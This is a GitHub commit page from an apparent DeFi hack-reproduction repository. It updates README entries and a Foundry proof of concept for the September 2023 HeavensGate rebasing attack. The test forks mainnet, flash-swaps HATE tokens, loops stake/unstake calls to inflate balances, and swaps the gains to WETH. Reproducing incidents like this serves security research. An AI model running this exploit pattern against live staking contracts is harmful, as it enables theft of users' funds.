Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#447 from Autosaida/main
Browse files Browse the repository at this point in the history
  • Loading branch information
SunWeb3Sec authored Oct 21, 2023
2 parents c70a8fc + 2396d5b commit 75f7144
Show file tree
Hide file tree
Showing 2 changed files with 46 additions and 32 deletions.
24 changes: 12 additions & 12 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1066,45 +1066,45 @@ https://twitter.com/DecurityHQ/status/1699384904218202618

---

### 20230905 FloorDAO - Rebasing logic issue
### 20230905 HeavensGate - Rebasing logic issue

### Lost: ~$40ETH
### Lost: ~$8ETH

Test

```
forge test --contracts ./src/test/FloorDAO_exp.sol -vvv
forge test --contracts ./src/test/HeavensGate_exp.sol -vvv
```

#### Contract

[FloorDAO_exp.sol](src/test/FloorDAO_exp.sol)
[HeavensGate_exp.sol](src/test/HeavensGate_exp.sol)

#### Link Reference

https://twitter.com/PeckShieldAlert/status/1698962105058361392

https://medium.com/floordao/floor-post-mortem-incident-summary-september-5-2023-e054a2d5afa4
https://explorer.phalcon.xyz/tx/eth/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834

---

### 20230905 HeavensGate - Rebasing logic issue
### 20230905 FloorDAO - Rebasing logic issue

### Lost: ~$6ETH
### Lost: ~$40ETH

Test

```
forge test --contracts ./src/test/HeavensGate_exp.sol -vvv
forge test --contracts ./src/test/FloorDAO_exp.sol -vvv
```

#### Contract

[HeavensGate_exp.sol](src/test/HeavensGate_exp.sol)
[FloorDAO_exp.sol](src/test/FloorDAO_exp.sol)

#### Link Reference

https://explorer.phalcon.xyz/tx/eth/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834
https://twitter.com/PeckShieldAlert/status/1698962105058361392

https://medium.com/floordao/floor-post-mortem-incident-summary-september-5-2023-e054a2d5afa4

---

Expand Down
54 changes: 34 additions & 20 deletions src/test/HeavensGate_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,12 @@ pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~6ETH
// @KeyInfo - Total Lost : ~8ETH
// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
// Attack Contract : https://etherscan.io/address/0x8faa53a742fc732b04db4090a21e955fe5c230be
// Attack Contract : https://etherscan.io/address/0x38702e5c98ba4ad4b786d5a075a5c74694cd616d
// Attack Tx : https://etherscan.io/tx/0xe28ca1f43036f4768776805fb50906f8172f75eba3bf1d9866bcd64361fda834
// Attack Tx : https://etherscan.io/tx/0x8e1b0ab098c4cc5f632e00b0842b5f825bbd15ded796d4a59880bb724f6c5372

// @Analysis
// Post-mortem : https://www.google.com/
Expand Down Expand Up @@ -38,41 +40,53 @@ contract ContractTest is Test {
Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
Staking HATEStaking = Staking(0x8EBd6c7D2B79CA4Dc5FBdEc239a8Bb0F214212b8);
IsHATE sHATE = IsHATE(0xf829d7014Db17D6DCe448bE958c7e4983cdb1F77);
uint amount = 907_615_399_181_304;
uint flashAmount;

function setUp() public {
vm.createSelectFork("mainnet", 18069528 - 1);
vm.createSelectFork("mainnet");
vm.label(address(HATE), "HATE");
vm.label(address(WETH), "WETH");
vm.label(address(HATE_ETH_Pair), "Uniswap HATE");
vm.label(address(HATEStaking), "HATEStaking");
vm.label(address(sHATE), "sHATE");
}

function testExploit1() external{
vm.rollFork(18069528 - 1);
approveAll();
console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));
flashAmount = HATE.balanceOf(address(HATE_ETH_Pair))*9/10;
HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"03");

address[] memory path = new address[](2);
(path[0], path[1]) = (address(HATE), address(WETH));
uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp);
emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals());
}

function testExploit() external{
function testExploit2() external{
vm.rollFork(18071199 - 1);
approveAll();
console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));
HATE_ETH_Pair.swap(amount,0, address(this), abi.encode(3));
flashAmount = HATE.balanceOf(address(HATE_ETH_Pair))*7/10;
HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"1e");

address[] memory path = new address[](2);
(path[0], path[1]) = (address(HATE), address(WETH));
uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(HATE.balanceOf(address(this)), 0, path,
address(this), type(uint256).max);
uint intRes = WETH.balanceOf(address(this))/1 ether;
uint decRes = WETH.balanceOf(address(this)) - intRes * 1e18;
console.log("Attack Exploit: %s.%s ETH", intRes, decRes);
uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp);
emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals());
}

function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
uint stakeAmount = amount;
while(true){
HATEStaking.stake(address(this), stakeAmount);
stakeAmount = sHATE.balanceOf(address(this));
HATEStaking.unstake(address(this), stakeAmount, true);
if(stakeAmount > 1_468_562_883_234_511){
break;
}
function uniswapV2Call(address /*sender*/, uint amount0, uint /*amount1*/, bytes calldata data) external {
uint i = 0;
while(i < uint8(data[0])){
uint balanceAttacker = HATE.balanceOf(address(this));
HATEStaking.stake(address(this), balanceAttacker);
uint sTokenBalance = sHATE.balanceOf(address(this));
HATEStaking.unstake(address(this), sTokenBalance, true);
i += 1;
}
HATE.transfer(address(HATE_ETH_Pair), uint(amount*1000/997) +1);
HATE.transfer(address(HATE_ETH_Pair), uint(amount0*1000/997) +1);
}

function approveAll() internal {
Expand Down

0 comments on commit 75f7144

Please sign in to comment.